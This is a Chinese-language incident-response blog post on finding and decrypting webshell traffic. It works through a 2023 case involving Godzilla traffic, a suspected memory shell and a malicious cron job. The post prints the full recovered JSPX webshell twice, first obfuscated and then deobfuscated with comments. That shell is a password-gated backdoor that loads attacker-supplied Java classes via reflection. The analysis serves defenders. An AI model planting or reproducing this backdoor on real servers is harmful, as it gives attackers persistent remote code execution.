我真的对很多事情充满疑惑
背景
- 前几天,公司培训部的同事找我,和我讨论了一下有关 webshell 解密的事情,和他说完了以后就打算写一篇文章记录下来。顺便找他要一下前场拿到的流量数据包。
webshell 解密流程
- 解密过程首先从拿到情报开始,这条情报可能是一条告警;一个 IP;一条客户提供的信息等等。先要发现 webshell 流量才能解密,不是吗?
- 找到疑似 webshell 的流量后,先通过肉眼判断是否是 webshell,这里方法很多,比如 Godzilla 和冰蝎的默认情况下的明显流量特征,公网 IP 和内部 IP 的访问关系,或者和客户确认。只需要大概觉得可疑,就可以进行下一步了。
- 连接 webshell 时是通过 URI 进行访问的,你在全流量设备中回查这个 URI,然后找到上传的时间和内容,将 webshell 内容还原出来(前面确认 webshell 流量如果是和客户确认的,可以直接找客户从本地文件提取 webshell)。webshell 既然能通过流量和攻击者进行交互,那么其中一定包含了解密代码,将解密代码提取出来或者用其他语言重新写一个解密脚本。
- 再次回溯,将访问了这个 webshell 的 URI 的所有流量下载下来。利用解密脚本将流量解密分析即可。
- 后续处置,根据上传 webshell 后攻击者执行的操作来判断,如果横向了就进一步继续排查,如果信息泄露了及时上报。
webshell 解密实战
- 下面是 2023 年 HW 的客户现场流量,这里以此作为案例分析。这是从受害服务器上下载的流量。

受害流量
- 该流量是通过告警发现的 webshell 流量,通过告警提示在流量中过滤,找到了告警流量。
告警 URL 过滤 - 打开 HTTP 会话查看,一眼哥斯拉流量。
哥斯拉流量特征 - 这个流量很有意思,访问同一个 URL,但是出现了两种 webshell 流量,一种是上面截图中的哥斯拉流量,另一种是自定义的一种 webshell。流量截图如下:
另一个 webshell - 这个流量其实乍一看除了 password 字符串之外,不像 webshell 啊,为什么说他是 webshell 呢?这个一会揭晓。这里有个很有趣的现象,访问了同一个 URL ,但是使用了不同的请求格式,而且两种请求格式是交替出现,不是另一个出现后前一个就消失了这种,那必须要考虑最坏的情况,内存马。根据后面的分析啊,这里只能说,那个哥斯拉流量大概率是内存马,类似于 Windows 中的 HOOK 技术,将这个 URL 的流量拿去分析,如果能解析则执行,解析不了则交给服务器执行。
- 既然确定了 webshell 的流量通信,下面进行第二步,回溯 URL。通过特征回溯,发现了一个可疑的定时任务。

可疑定时任务
- 在这个定时任务中,将一串字符 base64 解码后写入了 log.jsp 和 log.jspx,如下:

定时任务
- 找到了 webshell 上传时流量了,下面要将 webshell 还原。先把流量中字符串复制出来,再进行 base64 解码获取 webshell。

base64 解码
新建一个 jsp,将其复制进去,调整缩进,如下:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> String px = "55db5bccd50030e183340477429caa87"; public byte[] e(byte[] data) { String hexRaw = String.format("%x", new java.math.BigInteger(1, data)); char[] hexRawArr = hexRaw.toCharArray(); StringBuilder hexFmtStr = new StringBuilder(); final String SEP = "au"; hexFmtStr.append("{\"data\":\""); for (int i = 0; i < hexRawArr.length; i++) { hexFmtStr.append(SEP).append(hexRawArr[i]).append(hexRawArr[++i]); } hexFmtStr.append("\",\"timestamp\":").append(System.currentTimeMillis()).append("}"); return hexFmtStr.toString().getBytes(); } public byte[] d(byte[] data) { String dataStr = new String(data); String[] strArr = dataStr.split("au"); byte[] byteArr = new byte[strArr.length - 1]; for (int i = 1; i < strArr.length; i++) { Integer hexInt = Integer.decode("0x" + strArr[i]); byteArr[i - 1] = hexInt.byteValue(); } return byteArr; } public static byte[] r(java.io.InputStream i) { byte[] temp = new byte[1024]; java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); int n; try { while((n = i.read(temp)) != -1) { bos.write(temp, 0, n); } } catch (Exception v) {} return bos.toByteArray(); } </jsp:declaration><jsp:scriptlet> try{ byte[] ds = r(request.getInputStream()); byte[] p = new byte[32]; System.arraycopy(ds, 58, p, 0, p.length); byte[] dr = new byte[ds.length-128]; System.arraycopy(ds, 100, dr, 0, dr.length); byte[] data = d(dr); if (java.util.Arrays.equals(p, px.getBytes())){ if (session.getAttribute("ve")==null){ Class cc = Class.forName("c"+new String(new byte[]{111,109,46,115,117,110,46,106,109,120,46,114,101,109,111,116,101,46,117,116,105,108,46,79,114,100,101,114,67,108,97,115,115,76,111,97,100,101,114})+"s"); Object a = Thread.currentThread().getContextClassLoader(); Object b = cc.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class}).newInstance(a,a); java.lang.reflect.Method c = cc.getSuperclass().getDeclaredMethod("d"+new String(new byte[]{101,102,105,110,101,67,108,97,115})+"s", byte[].class,int.class,int.class); c.setAccessible(true); Class zz=(Class) c.invoke(b, new Object[]{data, 0, data.length}); session.setAttribute("ve",zz); } else{ request.setAttribute("p"+new String(new byte[]{97,114,97,109,101,116,101,114})+"s", data); Object f=((Class)session.getAttribute("ve")).newInstance(); java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream(); f.equals(arrOut); f.equals(pageContext); f.toString(); response.setHeader("Content-Type","application/json"); response.getOutputStream().write(e(arrOut.toByteArray())); } } }catch (Exception e){} </jsp:scriptlet> </jsp:root>
代码也不长,手动解一下加添加注释。如下:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> String px = "55db5bccd50030e183340477429caa87"; public byte[] byteTransfor(byte[] data) { // 将输入的 byte 数组转换成特定格式的十六进制字符串,并返回对应的 byte 数组。 String hexRaw = String.format("%x", new java.math.BigInteger(1, data)); char[] hexRawArr = hexRaw.toCharArray(); StringBuilder hexFmtStr = new StringBuilder(); final String SEP = "au"; hexFmtStr.append("{\"data\":\""); for (int i = 0; i < hexRawArr.length; i++) { hexFmtStr.append(SEP).append(hexRawArr[i]).append(hexRawArr[++i]); } hexFmtStr.append("\",\"timestamp\":").append(System.currentTimeMillis()).append("}"); return hexFmtStr.toString().getBytes(); } public byte[] decodeByte(byte[] data) { String dataStr = new String(data); String[] strArr = dataStr.split("au"); // "au" 作为分隔符,切分并保存在数组中。 byte[] byteArr = new byte[strArr.length - 1]; for (int i = 1; i < strArr.length; i++) { Integer hexInt = Integer.decode("0x" + strArr[i]); // 使用Integer.decode方法将每个非空的子字符串解析为 16 进制的整数,加上前缀"0x",例如"0x12"。 byteArr[i - 1] = hexInt.byteValue(); // 解析后的整数转换为 byte 类型,并存储到 byteArr 数组中,索引为 i - 1。 } return byteArr; } public static byte[] readInput(java.io.InputStream input) { byte[] temp = new byte[1024]; // 每次输入最多 1024B java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); int n; // 实际读取字节流长度 try { while((n = input.read(temp)) != -1) { bos.write(temp, 0, n); } } catch (Exception v) {} return bos.toByteArray(); // 将bos中存储的数据转换为字节数组并返回。 } </jsp:declaration><jsp:scriptlet> try{ byte[] ds = readInput(request.getInputStream()); byte[] p = new byte[32]; // 密钥 System.arraycopy(ds, 58, p, 0, p.length); // 从 ds 的第 58 个元素往后的 32 个 byte 复制到 p 中。 byte[] dr = new byte[ds.length-128]; System.arraycopy(ds, 100, dr, 0, dr.length); byte[] data = decodeByte(dr); if (java.util.Arrays.equals(p, px.getBytes())){ // 判断解析出来的密钥 p 和内置密钥 px 是否相同。 if (session.getAttribute("ve")==null){ Class cc = Class.forName("com.sun.jmx.remote.util.OrderClassLoaders"); Object a = Thread.currentThread().getContextClassLoader(); Object b = cc.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class}).newInstance(a,a); java.lang.reflect.Method c = cc.getSuperclass().getDeclaredMethod("defineClass", byte[].class,int.class,int.class); c.setAccessible(true); Class zz=(Class) c.invoke(b, new Object[]{data, 0, data.length}); session.setAttribute("ve",zz); // 将 Class 对象 z 设置成会话的 ve 属性。 } else{ request.setAttribute(parameters, data); Object f=((Class)session.getAttribute("ve")).newInstance(); // 从session中获取名为"ve"的属性值,并强制转换为 Class 类型。然后 newInstance 方法创建实例并返回给 f。 java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream(); f.equals(arrOut); f.equals(pageContext); f.toString(); response.setHeader("Content-Type","application/json"); response.getOutputStream().write(byteTransfor(arrOut.toByteArray())); // 使用 response.getOutputStream 方法获取响应的 OutputStream 流,然后调用 write 方法将e(arrOut.toByteArray())的结果写入响应流。 } } }catch (Exception e){} </jsp:scriptlet> </jsp:root>
- 后续就是找个环境动态调试,将流量内容解出来即可。我本地虚拟机噶了,快照也无法恢复,过几天修一下再弄吧。